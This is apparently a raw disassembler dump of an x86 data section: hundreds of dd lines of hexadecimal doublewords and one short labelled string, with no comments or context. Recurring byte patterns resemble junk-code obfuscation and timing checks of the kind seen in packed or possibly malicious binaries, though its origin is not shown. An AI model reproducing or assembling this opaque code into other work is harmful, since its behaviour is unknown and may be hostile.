		dd 0FF735770h, 6013ACDDh, 0BE66CF8Bh, 5F612122h, 0C5BF6650h
		dd 666090D9h, 9C12AB9h,	3528E98Dh, 6A6109h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 63C35343h, 980E95D5h
		dd 66B1408Dh, 0E8BA76BFh, 4, 1F03FFh, 0D88B6650h, 424448Bh
		dd 0A8F0Fh, 52500000h, 310F6160h, 585ADE8Bh, 8B66008Bh
		dd 244489DEh, 0CE804h, 0A940000h, 2317184Ah, 320497BCh
		dd 0FDBBB18Bh, 5F60C4DFh, 0D7EDBF58h, 95FF1AD8h, 9350CDDh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 8AC35343h
		dd 0AE6F4F31h, 9D89868Ch, 9352D05h, 89DF8B66h, 38B76F85h
		dd 52006A09h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 91A7B6Fh, 350E7595h, 19FE909h, 830F0000h
		dd 5, 2BEF8166h, 67858BC0h, 0F0938B7h, 683h, 0DBD8B00h
		dd 0C7093523h, 1800h, 6E86000h,	2B000000h, 0B7ECC875h
		dd 5F5B53A8h, 0E9816660h, 6161E593h, 0B76BB58Bh, 6A0938h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 51D9A5C3h, 68D0FB0h,	8B000000h, 350185BDh, 8BD98A09h
		dd 3524D585h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0F0A7AE98h, 890F8FAEh, 20h, 12E860h
		dd 0D3B70000h, 5D3EC5E0h, 6BCE4004h, 9383E911h,	444C4DF4h
		dd 0CDB5015Eh, 61093527h, 0BD8B0689h, 9350E65h,	2B61858Bh
		dd 46890935h, 0B9BD8B04h, 5009351Dh, 8B665250h,	0E8310FDEh
		dd 13h,	0BE23F9FBh, 293429E2h, 0DE1CB1A6h, 77D8E0D0h, 0BFD5383Ch
		dd 5A2F419Dh, 89585A5Fh, 0DE92434h, 8E000000h, 0B99AAACBh
		dd 0A68D4E4Bh, 0B7BCC31Dh, 0B767B5FFh, 6A0938h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0B868DEC3h, 0FDD7404h, 380h,	0FE8B6600h, 47240481h
		dd 6A22AAFFh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 4A58C352h, 0E8750DCEh,	5, 0DB26B1F0h
		dd 28F0F24h, 60000000h,	858D5B61h, 938B76Fh, 50FBB70Fh
		dd 6E953h, 9D000000h, 10B9D15Eh, 2404895Bh, 95FFDD8Ah
		dd 9350CDDh, 3DC38166h,	0DB8161ADh, 497A36A4h, 225585C7h
		dd 30935h, 89FC0000h, 35286595h, 6FBD8309h, 938B7h, 3A840Fh
		dd 50E90000h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0A101C350h,	3319A06Fh
		dd 0D918D29h, 60570935h, 0B655BE66h, 0EED8D0Bh,	5B610935h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0B6A6C353h, 0E971D8FAh, 0Bh, 5DADA8F8h, 0ECA2B831h
		dd 6A7F8D51h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 31A3C356h, 89DAFD86h, 0B19D8BB9h
		dd 8309350Ch, 352255BDh, 850F0309h, 3CAh, 228D9D8Bh, 0BD830935h
		dd 938B76Fh, 0B7840F00h, 6A000003h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 5B9FC352h
		dd 0FF62D5DEh, 38B76FB5h, 0FBBF6609h, 1195FFD1h, 6A09352Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0F5DDC351h, 9B9D971Bh, 53BF662Dh,	63B58B7Fh
		dd 530938B7h, 33059D89h, 0C75F0935h, 1000106h, 58E0F00h
		dd 66000000h, 8A82C781h, 0D820F50h, 50000000h, 7628BF52h
		dd 310F3AD7h, 585A6160h, 0E9243489h, 13h, 63B1D760h, 0E763490Fh
		dd 0F9417674h, 4254A8B9h, 0FF08AD55h, 38B76FB5h, 95FFFC09h
		dd 9350289h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	47C35747h, 692041FFh, 0B763B58Bh, 6A0938h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 50ED53C3h, 68D0Fh, 8D0F0000h, 0
a1n1		db '[1█1',0
		db 35h,	9, 8Bh
		dd 350E9985h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 83F32DE0h, 4893B75Dh, 0EE9F81Bh
		dd 44000000h, 0C1DEAF17h, 0A3735BA2h, 0E71FD7EEh, 0C4868930h
		dd 8B000000h, 352B29BDh, 8B06B709h, 35162995h, 53006A09h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 95AAEC2Dh, 0C0DEF6Dh, 0F08B6060h, 2A1C2ABAh,	8953613Fh
		dd 350519BDh, 83615809h, 0BF0F04C2h, 205089D8h,	226D9D89h
		dd 858D0935h, 938CC07h,	81858950h, 5F09350Dh, 0B88689h
		dd 0DF8B0000h, 0F71BD09h, 6A0935h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0ECC35343h,	6FB5FF52h, 0B30938B7h
		dd 5195FFE7h, 60093511h, 6840Fh, 0B58B0000h, 935006Dh
		dd 0B49B58Bh, 96610935h, 13E9h,	0A34AB700h, 6C209B7h, 3FD52D9Ah
		dd 8C7CB299h, 0B3B9F20Ch, 0A7BB6650h, 6A96B3h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 9E0345C3h, 8BA20F56h, 351B55BDh, 6FB5FF09h, 6A0938B7h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0A327C356h, 574D4182h, 89F607A6h,	35321DB5h
		dd 5595FF09h, 5209350Bh, 2D85895Bh, 8309352Ch, 350079BDh
		dd 840F0009h, 57h, 0B8B0Fh, 6E90000h, 0D3000000h, 0B7A77BBAh
		dd 0BF6696FDh, 8B505B2Fh, 6A96FBh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 48E8C5C3h, 5AF950D6h
		dd 0EE8EF9Eh, 46000000h, 6C1F562Eh, 2500D9F2h, 529341D0h
		dd 0E78166E4h, 0FF5B72D8h, 38B76FB5h, 0DBBF0F09h, 1C3595FFh
		dd 0FFF90935h, 38B76FB5h, 51006A09h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0D5BC4BBh
		dd 0BD0B5340h, 9352CB1h, 0E595FF5Fh, 6A09352Ch,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 83F6C353h, 3526BDBDh, 840F0209h, 59h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 17h, 0E5C35141h, 0F5DE8FABh
		dd 0D198589h, 858B0935h, 93526ADh, 0C6D8BF0Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 890F75C3h, 5, 0ACF38166h, 6585C71Ah,	93532h,	0F000000h
		dd 3E9FFBFh, 8BFFFFF4h,	3522BDBDh, 95858909h, 8B09351Bh
		dd 51006AC1h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 6E90168h, 7D000000h, 424F6EA9h, 858DF5CEh
		dd 9352659h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	98C35242h, 44CCDB8Eh, 1FA91E8h,	352201BDh, 52509009h
		dd 0AE857h, 53440000h, 72FDAE0Eh, 0F0FF30B1h, 310F5B5Bh
		dd 585A5B51h, 90FA8B50h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 84C35343h, 0CB17F026h, 75ADB00Dh, 9D29509Ah
		dd 9351F49h, 81006A5Fh,	7F5E1EF3h, 0A3F7810Eh, 6A0EC968h
		dd 0B5016000h, 9353005h, 6156F580h, 0E3CB858Dh,	0C0830939h
		dd 15858905h, 50093506h, 0ACBC28BBh, 24048955h,	326DBD8Bh
		dd 6A0935h, 1C259D89h, 6A0935h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 54C35545h, 0C3420220h, 23599D8Bh
		dd 95FF0935h, 9350331h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 76C35343h, 0BDBD03E8h, 66093521h, 174EEF81h
		dd 6E9h, 471F7700h, 8DC0FA0Eh, 389AAB8Dh, 98DB8109h, 0FF048A00h
		dd 52006AD1h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 53C07292h, 31DD8529h, 525B0935h,	2D1D9D8Bh
		dd 835F0935h, 351C19BDh, 850F0109h, 0A5h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Bh, 19C35242h, 8B6E6DDAh
		dd 2B56956Dh, 351E01BDh, 0F5026A09h, 50F98B90h,	5E8h, 72370D00h
		dd 52507EF3h, 310F5250h, 310F585Ah, 0BE9h, 9638A700h, 163B9318h
		dd 0ACA4D37Bh, 905F585Ah, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 25C35040h, 0ACF9DA0Dh, 0CE8EFh, 0FB5E0000h
		dd 0C4EF6E09h, 0FB28A1Fh, 0FE978CEh, 0CE000000h, 0CC3E52FDh
		dd 0BABC1859h, 3F8488EEh, 0FF5F173Eh, 35115195h, 0F69E909h
		dd 0E80000h, 5D000000h,	0E3D5ED81h, 6A0939h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0A4461FC3h
		dd 1CBB2971h, 5150194Eh, 25799D8Bh, 6A5F0935h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0D700C351h, 0C1F64651h, 858D150Ah, 938932Bh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0E9C35343h, 0F8F8C69Ah
		dd 66905090h, 641826BFh, 35FFh,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0A705F5C3h
		dd 646CB751h, 2589h, 0B3600000h, 5BD8B0Ch, 6109352Dh, 300985FFh
		dd 0FE80935h, 82000000h, 2A04CF22h, 0DEB9E70Eh,	3FD8D82Bh
		dd 0BE96A22h, 0A9000000h, 0A9942C31h, 0E4570B97h, 6A5B620Bh
		dd 0FFEBB3FFh, 351239B5h, 56006A09h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0B7CEEE68h
		dd 0B995FF11h, 0E909352Eh, 12Bh, 6E9h, 0CE3BAB00h, 0B04D3DECh
		dd 94F38000h, 23A98589h, 70E60935h, 4296BF66h, 0BD2B71E4h
		dd 9352EE1h, 830F613Ch,	0FFh, 0BE8h, 9C05300h, 518CAFF5h
		dd 4029A2Dh, 0F5FDDB7h,	0BF66C8B6h, 0B9B3591Dh,	6BAh, 0BE900h
		dd 0DE110000h, 0B8A9DF33h, 82F820EAh, 0E9C18B78h, 11h
		dd 520AEC8Dh, 93461415h, 0AEFD4A9h, 995D45D3h, 4E8C100h
		dd 0F766DE8Ah, 0F6EB81E2h, 2B571851h, 0EB81FCC8h, 5617B3BCh
		dd 830FD18Bh, 6, 507EEB81h, 8956357Ch, 3524CDBDh, 84E95F09h
		dd 81000000h, 0B30A4ED3h, 4858B58h, 83000000h, 0FA8B07C0h
		dd 6600C083h, 0E499DB81h, 830FD03Bh, 0Bh, 0E9F8B70Fh, 5Bh
		dd 8BFAB70Fh, 0FFFFFF8Dh, 0BE9FFh, 0FF380000h, 0D3D2C08h
		dd 2AA296E2h, 1E183BCh,	39840Fh, 8F0F0000h, 4, 6412BF66h
		dd 0FFFFA583h, 89FEFFFFh, 3505E585h, 4958909h, 89000000h
		dd 35295195h, 0CE909h, 99100000h, 0A91CAABDh, 95FA85CFh
		dd 0E9BC3Dh, 8D000000h,	395C5EB5h, 53006A09h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0CDD92991h
		dd 17B58D89h, 6A0935h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 0CDC35646h, 0FFFC786Ch, 35082995h, 0F7816609h
		dd 0A4B96DA0h, 6A00000Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0CBDEC351h,	9D9E585Ah
		dd 48D8529h, 0E1830935h, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 29563D81h, 35060D95h
		dd 8BFC5F09h, 3526C1BDh, 0B809h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0DDDD36C3h, 0AB5278B2h, 14E8F982h, 0F6000000h, 0B39CF318h
		dd 0C082F08Bh, 0B7341FAEh, 196BF660h, 8BECAB64h, 3510B9BDh
		dd 0D22B5F09h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	35C35646h, 2DBD9D8Bh, 33AD0935h, 3E8D1C2h, 4E983D0h
		dd 0BD03F475h, 93522CDh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0D0C35747h, 0CE969h, 2D110000h, 0A5FB6A5Ah
		dd 0F129392Bh, 880DD0E6h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 5B82C356h
		dd 8E96C93h, 5C000000h,	4F2AA7B8h, 8BD9B8CEh, 35162995h
		dd 59D8B09h, 8B09351Ch,	35287D8Dh, 0C28B5009h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0BF57C352h
		dd 399D8B39h, 6609352Dh, 2455EF81h, 27798531h, 0BD830935h
		dd 9351249h, 7E840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0B50CC356h
		dd 0B96660h, 0BD03608Dh, 9350D35h, 800Fh, 61610000h, 0B8h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 1324D99Eh, 28D8D71h, 0E909354Ch,	0Dh, 1E7039F0h
		dd 5D681917h, 0E254889Eh, 0E8E1FF97h, 8, 4F9B87E3h, 5B4148A9h
		dd 55BD835Bh, 93522h, 514840Fh,	9D290000h, 93525EDh, 8A585660h
		dd 0BD8361D7h, 9352255h, 16840F01h, 6A000005h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 89D0C351h, 97871FB7h, 0FE9h,	0E1987200h, 71A91689h
		dd 0AAF980B4h, 0BD436BF0h, 2255BD83h, 0F030935h, 49E86h
		dd 8D295200h, 9350875h,	6A605Fh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 319BC1C3h, 0D98C668Eh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0A1C35343h
		dd 0E180628Eh, 55006A04h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0DD9D33ECh, 66093521h
		dd 3002EF81h, 840FC90Ah, 1D1h, 0D32084BFh, 61858B0Dh, 8B09352Bh
		dd 351B69BDh, 7D853309h, 8009350Dh, 0B390F5EFh,	0AE8505Ch
		dd 0D000000h, 0A2E123EAh, 0C7EF673Bh, 5FD98B8Ch, 0AE890h
		dd 0F0310000h, 54FC81C8h, 4108FA86h, 22D98D89h,	6A5B0935h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 419F8AEAh, 954F37C0h, 4E830h, 3FF0000h
		dd 0E960001Fh, 12h, 3BD170F2h, 27FFBD8Ch, 863CE51Ah, 5DCF7112h
		dd 0E860112Bh, 8, 41F79C57h, 0FAB024E8h, 615E5658h, 0DE95061h
		dd 0B9000000h, 9DEB8C09h, 0C2C7E587h, 6FB8D4E4h, 424448Bh
		dd 7E9h, 39DC6800h, 6A52B1C4h, 0E950008Bh, 13h,	2BFE659Fh
		dd 40DE0CB8h, 530F0D18h, 0C145FF2Bh, 5B111BFFh,	4244489h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0FBD541BAh, 9D31081Eh, 9350B01h,	0CDD95FFh
		dd 6A0935h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0ED8D9FC3h, 0C55174C8h, 6053E7D5h, 10E98D8Bh
		dd 0DE90935h, 60000000h, 586CAD71h, 0CE4D0EB0h,	0F54E830Eh
		dd 85895B61h, 938B76Fh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 3EC35545h, 67BF6607h,	0E95F57D3h, 240h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 37C35343h
		dd 45F6E2ADh, 0C502B502h, 6840Fh, 0BD8B0000h, 935226Dh
		dd 27959589h, 0E9560935h, 14h, 0C295F1B6h, 4AFBE19Ah, 1B0E560Fh
		dd 24481636h, 7A31AF90h, 67858B5Fh, 6A0938B7h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 2903C353h, 0BF9A33ABh, 27A6202Eh, 0C7FFBF0Fh, 1800h
		dd 3890F00h, 66000000h,	0B58BF98Bh, 938B76Bh, 10458D29h
		dd 858B0935h, 93524D5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 78C35040h, 81666EC6h,	89768CE7h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 71B77B2Ah, 259D9D8Bh, 858B0935h, 9352B61h, 86CB8166h
		dd 13EF8165h, 89100BF4h, 8D890446h, 9352F25h, 1D81BF96h
		dd 0BF505FB5h, 525FBC16h, 0F9850996h, 0FF093527h, 38B767B5h
		dd 53006A09h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 1B3EDB50h, 0F5BA846h, 9D01DEB7h,	9351169h
		dd 2AC9F968h, 0A8CEBF90h, 4814E3Ch, 0F43A0624h,	52006A6Fh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0B4FE0463h, 892A6C97h, 350D3DB5h, 6F858D09h,	6A0938B7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 1B16C350h, 8E0801FEh, 2A34CB81h, 0BF0F2C60h
		dd 0CE950F8h, 82000000h, 0AE520D2Dh, 0B4A38119h, 895736BAh
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0C36D21C3h, 891FE24Ch, 352C51B5h,	0F98B6609h
		dd 0CDD95FFh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 3886B2C3h, 0E8F56EEFh, 0Bh, 0B158E376h
		dd 7877B49Eh, 891D00A1h, 352E4585h, 60605F09h, 80D38B66h
		dd 516175C4h, 6C99D89h,	615F0935h, 0C19D8961h, 0F093523h
		dd 0C81h, 7E900h, 1EC0000h, 0FD8765EEh,	5585C791h, 3093522h
		dd 8B000000h, 350AC19Dh, 6FBD8309h, 938B7h, 2D840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 27E9B5C3h, 89000000h, 35048DBDh, 0A1B58909h,	50093517h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 0BF0FC08Bh, 56006AFFh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 7684D123h, 0B59D31D1h
		dd 29093524h, 3511C5B5h, 55BD8309h, 3093522h, 4C0850Fh
		dd 8F0F0000h, 6, 21F59D8Bh, 0BD830935h,	938B76Fh, 0A7840F00h
		dd 6A000004h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 8B90C350h, 351F999Dh, 6FB5FF09h
		dd 6A0938B7h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 631FC355h, 1195FFF5h, 6A09352Eh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 8981C350h, 0DE8h,	0F8523F00h, 0F7460024h
		dd 8F13BA3Bh, 8501E1B6h, 93523C9h, 138A0F5Fh, 0E9000000h
		dd 0Eh,	0C8778480h, 71C17F1Eh, 2B0EA65Ch, 0B58BB428h
		dd 938B763h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	0ECC35141h, 21B27C78h, 7DBD01E8h, 0C7093504h, 1000106h
		dd 0D58D2900h, 6609352Dh, 6650D98Bh, 890AE0BFh,	0DE92434h
		dd 7C000000h, 32BEF332h, 0D22C47EDh, 0E321CF85h, 0B76FB5FFh
		dd 6A0938h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 83DD74C3h, 0CC8354E7h, 95FFDF8Bh,	9350289h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0E9C35747h
		dd 8B95878Dh, 38B763B5h, 3EB35609h, 99858B5Bh, 6A09350Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0AEF5C356h, 0A59D033Ah, 89093510h, 0C486h
		dd 8DB58900h, 8B093516h, 29958BFEh, 1093516h, 351655B5h
		dd 0A1BD8B09h, 8309352Dh, 6A04C2h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 7A31AFC3h, 69C073AAh
		dd 5089DC8Ah, 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 5A02C8DBh, 8BEF3989h, 351069BDh
		dd 7858D09h, 890938CCh,	35035DB5h, 0FB8B6609h, 0B88689h
		dd 0BD0B0000h, 9352CC9h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 1E80E3C3h, 9D893327h
		dd 9352C51h, 0B76FB5FFh, 6A0938h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0FB583DC3h, 311238B3h
		dd 3523B585h, 1EE78109h, 8B0E1E08h, 5195FFD8h, 6A093511h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0C67EC355h, 51686D84h, 816652D1h,	5B8A7FE7h
		dd 0F4BF6696h, 7E850A6h, 13000000h, 7FB3D0C7h, 820F1E4Ch
		dd 3, 5FFE8B66h, 0E9BD8B96h, 0FF09351Ah, 38B76FB5h, 50006A09h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0CFF529C5h, 979CF791h, 0BD014BE4h, 9350B81h,	0B5595FFh
		dd 6A0935h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 6833E1C3h, 0C3A563E7h, 0BD83A3C4h, 9350079h
		dd 4D840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 5920C352h, 990DAA14h
		dd 0A7364A90h, 665050F5h, 895BDE8Bh, 6A2434h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 204F1CC3h
		dd 0B76FB5FFh, 6A0938h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0BDDFE7C3h, 8166D3C0h, 0FFA954EFh
		dd 351C3595h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 54A1049Ch, 89C710D5h, 3529C98Dh
		dd 0FFFE8B09h, 38B76FB5h, 0E595FF09h, 6A09352Ch, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 91F7C356h, 0DC83E48Fh, 258D89CAh, 66093512h,	0BAAFDF81h
		dd 26BDBD83h, 0F020935h, 7184h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 858B01BCh
		dd 93526ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	0F6C35242h, 0DE6040Bh, 6A0000C6h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0D620C350h
		dd 2B7811B8h, 81F64562h, 738861EBh, 85C7F831h, 9353265h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 2FC35040h
		dd 0BFAA1367h, 3386F84Eh, 0D8E966B7h, 6AFFFFF1h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 2668C357h, 8BDA8B9Ch, 50006AC1h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 4E3B2BEFh, 0F60E73Dh
		dd 9D8BC9BFh, 9350A81h,	85BD8961h, 8D093527h, 35265985h
		dd 55006A09h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0F3367ED4h, 0A5BD8962h, 8B09352Fh, 351C1DBDh
		dd 0F605009h, 84h, 4896100h, 0DF8B6624h, 11E9006Ah, 0F6000000h
		dd 0AAC45CEFh, 0AE47FF1Dh, 2F567EF4h, 54A55A76h, 8D01006Ah
		dd 9351161h, 0F529858Dh, 0B70F0939h, 5C083FFh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 22C35242h, 0B5EF713h
		dd 1611BD89h, 13E80935h, 70000000h, 896288Dh, 2AF7FF0Dh
		dd 7AEFC43Fh, 9B9ABCF8h, 0BF66ED10h, 905BB614h,	50503AB3h
		dd 0AE952h, 0A0310000h,	24ECE74Bh, 4AAA9B84h, 0AE9310Fh
		dd 0C7000000h, 6D94D052h, 58686EB8h, 90585ABCh,	0AFD9D8Bh
		dd 6A0935h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 1Ah,	0DAC35141h, 129C4440h, 0D98B081Fh, 6A006Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 40E29FC3h, 0FAEB3FCh, 95FFFEB7h, 9350331h, 1179BD8Bh
		dd 13E90935h, 0E4000000h, 172E4980h, 2D359E9h, 3D97BBC3h
		dd 8A7CB036h, 8D8DA491h, 9389AABh, 0D8DBD8Bh, 0D1FF0935h
		dd 1C19BD83h, 0F010935h, 8685h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 2D146ACDh
		dd 6AF88B66h, 57006A02h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0E46E1C21h, 0B5858970h, 8B09352Eh
		dd 3506259Dh, 60605009h, 0CABF6160h, 610B2DA0h,	6015B966h
		dd 24048961h, 949CCB81h, 95FF2587h, 9351151h, 12E9h, 0B28D0200h
		dd 0B24CF3C8h, 871B05D1h, 0C1911183h, 0E9D39C13h, 0D78h
		dd 0E8h, 0ED815D00h, 939F533h, 25BD9D29h, 0F8510935h, 0F53535Bh
		dd 83h,	8D5B5F00h, 38932B85h, 57006A09h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 568B19C8h
		dd 0AABF6672h, 0DE9D6h,	0C9E60000h, 32D2B3D5h, 0A2C494F9h
		dd 5022A780h, 9D3BBFBBh, 24048936h, 6456EF80h, 35FFh, 0B5890000h
		dd 9352609h, 258964h, 0E9000000h, 0Bh, 41217D89h, 0F4AFAD72h
		dd 0FF47EA49h, 35300985h, 0B1B58909h, 6A093525h, 0B5FFF8FFh
		dd 9350041h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	0A5C35646h, 4B028BB5h, 6890FF9h, 8B000000h, 352B859Dh
		dd 0B995FF09h, 0E909352Eh, 117h, 9E8h, 16E98A00h, 6BDF25C9h
		dd 0BD8B1BB0h, 9351161h, 0B00B05Fh, 35319DBDh, 0BB70E609h
		dd 0FE138D4h, 816071E4h, 607507E8h, 13E947h, 95C70000h
		dd 6C80A1F8h, 0F4A5BA5Dh, 891926CFh, 1F30917Eh,	830F6146h
